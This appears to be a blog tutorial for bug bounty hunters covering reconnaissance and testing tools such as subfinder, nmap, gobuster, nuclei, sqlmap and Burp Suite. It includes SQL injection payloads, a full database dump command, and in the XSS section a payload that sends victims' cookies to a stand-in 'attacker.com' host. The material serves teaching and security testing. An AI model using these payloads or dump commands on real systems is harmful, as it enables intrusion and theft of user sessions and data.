Listen to this Post
Introduction:
The digital landscape is a perpetual battleground, where security professionals and threat actors vie for supremacy. For bug bounty hunters and penetration testers, mastering a core set of tools and techniques is non-negotiable for identifying and exploiting security weaknesses before malicious actors can. This guide provides a professional toolkit of verified commands and methodologies to systematically uncover critical vulnerabilities in web applications and network infrastructures.
Learning Objectives:
- Master fundamental reconnaissance and subdomain enumeration techniques using automated tools and manual commands.
- Develop proficiency in port scanning, service fingerprinting, and vulnerability assessment with Nmap and related utilities.
- Acquire hands-on skills for identifying and validating common web application vulnerabilities like SQL Injection and Cross-Site Scripting (XSS).
You Should Know:
1. Masterful Subdomain Enumeration
Subdomain discovery is the critical first step in mapping a target’s attack surface. It reveals hidden, and often less secure, parts of an application.
Verified Commands & Tools:
Using subfinder subfinder -d target.com -o subdomains.txt Using amass (passive) amass enum -passive -d target.com -o amass_passive.txt Using assetfinder assetfinder --subs-only target.com > assets.txt Using crt.sh via curl for certificate transparency logs curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq -r '.[].name_value' | sed 's/\.//g' | sort -u > crt_sh_domains.txt Using dnsrecon dnsrecon -d target.com -t brt -D /usr/share/wordlists/subdomains-top1million-5000.txt -o dnsrecon_results.xml
Step-by-step guide:
- Passive Enumeration: Start with passive tools like `subfinder` and `amass` to gather subdomains from various online sources without directly querying the target’s infrastructure. This is stealthy and efficient.
- Brute-forcing: Use a tool like `dnsrecon` with a wordlist (
-D) to perform a brute-force attack, guessing potential subdomain names. - Certificate Transparency Logs: Query `crt.sh` to find subdomains that have had SSL/TLS certificates issued for them. This often reveals development and staging environments.
- Data Consolidation: Merge all results from different tools, sort them, and remove duplicates to create a master list of subdomains for further analysis.
- Live Host Verification: Use a tool like `httpx` or `httprobe` to check which subdomains are actively hosting live web services.
2. Comprehensive Port Scanning and Service Fingerprinting
Once you have a list of targets, the next step is to identify open ports and the services running on them. This reveals potential entry points.
Verified Commands:
Basic TCP SYN scan nmap -sS -T4 target.com Aggressive scan with OS and version detection nmap -A -T4 target.com Scan all TCP ports (slower) nmap -sS -p- -T4 target.com Scan for specific UDP ports nmap -sU -p 53,123,161 -T4 target.com Scan a list of targets from a file nmap -iL target_list.txt -sS -T4 -oA network_scan Using masscan for extremely fast scans masscan -p1-65535 192.168.1.0/24 --rate=1000
Step-by-step guide:
- Initial Reconnaissance: Perform a quick scan of the top 1000 TCP ports using `nmap -sS` to get a rapid overview of the most common services.
- Deep Port Discovery: For a critical asset, run a full port scan (
-p-) to uncover services running on non-standard ports that might be overlooked. - Service Interrogation: Use the `-A` flag (Aggressive) to enable OS detection (
-O), version detection (-sV), script scanning (-sC), and traceroute. This provides rich context about the target. - UDP Scanning: Don’t neglect UDP services like DNS (53), SNMP (161), and NTP (123). These can often yield critical information or be misconfigured. Use `nmap -sU` (note: this is significantly slower than TCP scans).
- Output and Analysis: Save your results in various formats (
-oAfor all formats) for reporting and further analysis within tools like Metasploit or Burp Suite.
3. Web Application Reconnaissance with Gobuster and Dirb
Discovering hidden directories and files is essential for finding administrative panels, backup files, and developer comments.
Verified Commands:
Directory brute-forcing with Gobuster gobuster dir -u https://target.com/ -w /usr/share/wordlists/dirb/common.txt -t 50 -o gobuster_scan.txt File extension searching gobuster dir -u https://target.com/ -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,js,bak -t 50 Using dirb (alternative) dirb https://target.com/ /usr/share/wordlists/dirb/common.txt -o dirb_scan.txt Virtual host brute-forcing gobuster vhost -u https://target.com/ -w /usr/share/wordlists/subdomains-top1million-5000.txt -t 50
Step-by-step guide:
- Wordlist Selection: Choose an appropriate wordlist. `common.txt` is a good starting point, but more extensive lists like `directory-list-2.3-medium.txt` can be used for deeper analysis.
- Thread Management: Use the `-t` flag to specify threads. A higher number speeds up the scan but increases the load on both your machine and the target server.
- Extension Discovery: Use the `-x` flag to search for files with specific extensions.
php,bak,old, and `txt` are common and often lead to source code disclosure. - Virtual Host Discovery: The `gobuster vhost` mode is crucial for uncovering virtual hosts on the same IP address, which can represent entirely different applications.
- Response Analysis: Manually review the results. Pay close attention to HTTP status codes (200, 301, 302, 403) and the response size to identify interesting endpoints.
4. Vulnerability Assessment with Nikto and Nuclei
Automated scanners can help identify known vulnerabilities and common misconfigurations quickly.
Verified Commands:
Basic Nikto scan nikto -h https://target.com -o nikto_scan.txt Nikto scan with specific port and evasion nikto -h target.com -p 8080 -evasion 1 Nuclei with all templates (use with caution) nuclei -u https://target.com -t nuclei-templates/ -o nuclei_results.txt Nuclei with specific severity nuclei -u https://target.com -t nuclei-templates/ -severity high,critical -o nuclei_critical.txt Nuclei with a list of targets nuclei -l live_subdomains.txt -t nuclei-templates/vulnerabilities/ -o nuclei_vulns.txt
Step-by-step guide:
- Initial Sweep: Run `nikto` for a quick, general assessment of the target web server. It checks for outdated server versions, default files, and common issues.
- Targeted Scanning: Use `nuclei` with its vast community-driven template library to run highly specific checks. Start with high and critical severity templates to avoid noise.
- Scale with Lists: When you have a list of live subdomains (
-l), you can run `nuclei` at scale to efficiently test all identified assets for vulnerabilities. - False Positive Validation: Never treat scanner output as gospel. Every finding from Nikto or Nuclei must be manually validated to confirm it is a true positive and not a false alarm.
- Integration: Incorporate these tools into a continuous scanning pipeline for assets in a bug bounty program to catch new vulnerabilities as templates are updated.
5. Exploiting SQL Injection Vulnerabilities
SQL Injection remains a top critical vulnerability, allowing attackers to interfere with an application’s database queries.
Verified Commands & Snippets:
Basic SQLi detection with SQLmap sqlmap -u "https://target.com/page.php?id=1" --batch --level=3 --risk=2 SQLmap with cookie for authenticated testing sqlmap -u "https://target.com/page.php?id=1" --cookie="session=abc123" --batch Dump the entire database sqlmap -u "https://target.com/page.php?id=1" --batch --dump-all Manual testing payload (to be used in a browser or Burp) ' OR 1=1 -- ' UNION SELECT 1,2,3-- ' AND 1=2 UNION SELECT version(),user(),database()--
Step-by-step guide:
- Parameter Identification: Find all user-input parameters (GET, POST, Cookies, Headers) that are reflected in the application’s response.
- Initial Probing: Test parameters with simple payloads like a single quote (
') or `1′ ORDER BY 1–` to see if it causes a database error or changes the application’s behavior. - Automated Confirmation: Use `sqlmap` on a potentially vulnerable parameter. The `–batch` flag runs it in non-interactive mode, using default choices. Start with a lower risk and level and increase as needed.
- Information Extraction: Once a vulnerability is confirmed, use `sqlmap` to extract database names, table names, and ultimately the data itself with
--dump. - Manual Exploitation: For complex cases or WAF evasion, manual exploitation using UNION-based or Boolean-based blind techniques may be necessary, often performed within Burp Suite’s Repeater tool.
6. Identifying and Validating Cross-Site Scripting (XSS)
XSS flaws allow attackers to execute malicious scripts in a victim’s browser, potentially hijacking user sessions or defacing websites.
Verified Snippets & Commands:
// Basic payloads for testing
<script>alert('XSS')</script>
"><script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
' onmouseover='alert(1)
// More advanced payload for stealing cookies
<script>var i=new Image();i.src="http://attacker.com/steal.php?c="+document.cookie;</script>
// Using a tool like XSStrike
python3 xsstrike.py -u "https://target.com/search?q=query"
Step-by-step guide:
- Locate Injection Points: Identify all reflection points, such as search bars, contact forms, and URL parameters, where user input is displayed back on the page.
- Context Analysis: Determine the context of the injection (e.g., inside an HTML tag, within an attribute, in JavaScript code). The payload must be crafted to break out of its context.
- Payload Delivery: Inject basic test payloads. If a simple `` doesn’t work, try encoded payloads or event handlers like `onerror` and
onmouseover. - Automated Assistance: Use tools like `XSStrike` which employs a powerful fuzzing engine to automatically detect and bypass WAF filters.
- Proof-of-Concept (PoC): Always create a reliable PoC. A simple `alert` box is standard, but for reflected XSS, crafting a URL that triggers the payload is necessary for bug bounty reports.
7. Network Traffic Analysis and Interception
Intercepting and analyzing HTTP/S traffic is fundamental for understanding application logic, testing for vulnerabilities, and manipulating requests.
Verified Commands & Setup:
Start Burp Suite from command line (Java required) java -jar -Xmx4G burpsuite_pro.jar & Using mitmproxy mitmproxy -p 8080 Setting up proxy for curl commands curl --proxy http://127.0.0.1:8080 -k https://target.com Windows: Check proxy settings via CMD netsh winhttp show proxy netsh winhttp set proxy 127.0.0.1:8080
Step-by-step guide:
- Tool Setup: Start your intercepting proxy (e.g., Burp Suite or OWASP ZAP) and configure it to listen on a specific port (e.g., 8080).
- Client Configuration: Configure your browser or system-wide network settings to use the proxy (127.0.0.1:8080). Install the proxy’s CA certificate in your browser’s trust store to intercept HTTPS traffic without warnings.
- Interception: With interception turned on, all web traffic from your browser will be paused in the proxy, allowing you to inspect and modify requests before they are sent to the server, and responses before they reach your browser.
- Repeater and Intruder: Use the Repeater tool to manually modify and re-send individual requests to test for vulnerabilities like SQLi or XSS. Use the Intruder tool to automate attacks, such as password brute-forcing or parameter fuzzing.
- Traffic Analysis: Examine the raw HTTP requests and responses to understand session handling, API endpoints, and data structures, which is crucial for crafting advanced exploits.
What Undercode Say:
- A methodical, tool-assisted process is infinitely more effective than random probing. Reconnaissance lays the groundwork for every successful exploit.
- Automation is a force multiplier, but human intuition and manual validation are what separate a valid critical finding from a false positive. Tools find the clues; skilled hunters connect them.
The modern bug bounty hunter must function as both a systematic engineer and a creative adversary. The commands and methodologies outlined here represent the foundational toolkit. True expertise, however, lies not just in executing these steps but in understanding the “why” behind them—the application logic that leads to a vulnerability. The future of offensive security is in the seamless integration of automated pipeline scanning for breadth and deep, manual, context-aware testing for depth. As applications evolve with AI and complex client-side logic, the tools will adapt, but the core principles of discovery, analysis, and exploitation will remain paramount.
Prediction:
The increasing complexity of web technologies, including the widespread adoption of single-page applications (SPAs) and APIs, will shift the vulnerability landscape. Traditional scanners will struggle with client-side heavy applications, forcing hunters to develop stronger skills in static and dynamic JavaScript analysis. Furthermore, API-specific vulnerabilities (broken object level authorization, excessive data exposure) will become the primary source of critical bounties, requiring a deep understanding of API protocols like GraphQL and gRPC alongside traditional REST. The hunters who invest in these specialized skills will be the most successful in the coming years.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Praveenkumar Praveenarsh – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
